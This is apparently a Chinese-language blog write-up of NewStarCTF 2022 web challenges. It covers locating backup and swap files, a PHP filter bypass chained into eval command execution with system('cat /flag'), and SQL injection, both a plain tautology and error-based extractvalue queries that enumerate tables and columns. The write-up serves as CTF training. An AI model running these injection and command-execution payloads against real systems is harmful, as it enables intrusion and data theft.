NewStar
WEB
我真的会谢
提示:
Flag has three part, qsdz hid them in different files.
By the way, these files are sensitive.
<!--I used VIM to write this file, but some errors occurred midway.-->
三段flag藏在三个敏感文件中,有一个是VIM意外退出生成的 .?.swp
文件,由于是网页文件,猜测文件为:".index.php.swp"。得到第二段flag为"0_e4sy_d0_y00"
备份敏感文件robots.txt中藏有第一段flag"flag{Th1s_Is_s00",网页的常用文件www.zip中藏有第三段flag:"u_th1nk_so?}"
本来想扫描的,看了wp就直接得到文件了
NotPHP
一道php绕过,源码如下:
<?php
error_reporting(0);
highlight_file(__FILE__);
if(file_get_contents($_GET['data']) == "Welcome to CTF"){
if(md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2']){
if(!is_numeric($_POST['num']) && intval($_POST['num']) == 2077){
echo "Hack Me";
eval("#".$_GET['cmd']);
}else{
die("Number error!");
}
}else{
die("Wrong Key!");
}
}else{
die("Pass it!");
}
首先需要GET方式传入data,通过file_get_contents(data)函数访问一个文件内容且该内容恰好为"Weilcome to CTF"。借助data伪协议可以将文件流替换为输入流,构造 /?data=data://text/plain;base64,V2VsY29tZSB0byBDVEY=
其中"V2VsY29tZSB0byBDVEY="是"Welcome to CTF"的base64编码
接着需要构造key1和key2以满足两者的md5编码结果能通过"="测试且key1和key2的值能通过"!"测试,要求两者内容不同但md5相同实际上是要求一个md5碰撞,但还有更简单的方法,由于php的 md5()
函数无法处理数组,一律返回null,因此只需要传入数组即可通过"==="测试:key1[]=1&key2[]=2
接着来到第三层检测,is_numberic()
函数检测变量是否为数字或数字字符串,浮点型也可返回true;intval()
获取变量的整数值;因此需要用post方式传入num变量使得它不是一个数字的同时将其转化为数字又等于2077。payload:num=2077a
。转化为数字时取开头连续的数字为2077,判断类型时由于a的存在被判断为非数字字符串。(好像有点简单233)十六进制 num=0x81D
无法绕过是因为字符串"0x81D"被认为是数字字符串
然后可以传入cmd参数进行命令执行,但是前面连接了一个注释符,因此需要绕过,可以使用换行符 %0a
换行绕过:cmd=%0asystem('cat /flag');
即可得到flag。或者使用 ?>
的闭合也可以绕过:cmd=?><?php system('cat /flag');
(eval()
函数中"?>"的神奇效果,好像是直接将其插入到php文件中一样)
因此最终的payload:http://de68bddc-7ec1-4ca7-b9d8-0eb85578a5e4.node4.buuoj.cn:81/?data=data://text/plain;base64,V2VsY29tZSB0byBDVEY=&key1[]=1&key2[]=2&cmd=?><?php system('cat /flag');
+POST内容:num=2077a
参考:[
]
Word-For-You
一道简单的SQL注入,就是有点迷惑性,先试试是不是数字型:1 or 1=1
,回显无任何内容,且1 or 1=1被原样作为用户名打了出来,看上去很奇怪。再尝试字符型: 1'
发现没有报错,且 1'
也被原样打了出来,我起初以为它做了严格的防sql的防火墙,后来发现它只是把输出原样打到了屏幕上。
payload:1' or '1
即可将数据库中所有留言都显示出来,其中就有flag。实际上注入是有效的,但是由于回显只是简单的将搜索结果和输入内容输出,若注入语句查询不到任何东西则回显内容也是空的,有一定欺骗性,因此看起来像是无法注入。
Word-For-You
由于调试信息回显了出来,因此是一道报错注入,本题查询成功时不再回显查询结果
先注入库名:
1' and extractvalue(1,concat(0x7e,database(),0x7e)) --
->'~wfy~'
再注入表名:
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='wfy'),0x7e)) --
->'~wfy_admin,wfy_comments,wfy_info'
猜测在'wfy_comments'中,注入列名:
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='wfy_comments'),0x7e)) --
->'~id,text,user,name,display~'
评论应该在text中,注入text列:
1' and extractvalue(1,concat(0x7e,(select text from wfy_comments limit 11,1),0x7e)) --
->'~flag{Ju4t_m2ke_some_err0rs}~'
由于评论不止一条,使用"limit 11,1"获取第十一条就是flag。也可以使用"group_concat()"函数将所有评论连接起来,但是由于报错回显的长度有限,并不能将所有内容输出,这时候还可以用"MID()"函数提取字符串部分的方式寻找并取得flag。
标签:NewStarCTF,text,0x7e,flag,wfy,2022,data,concat From: https://www.cnblogs.com/Forest-set-you/p/16803268.html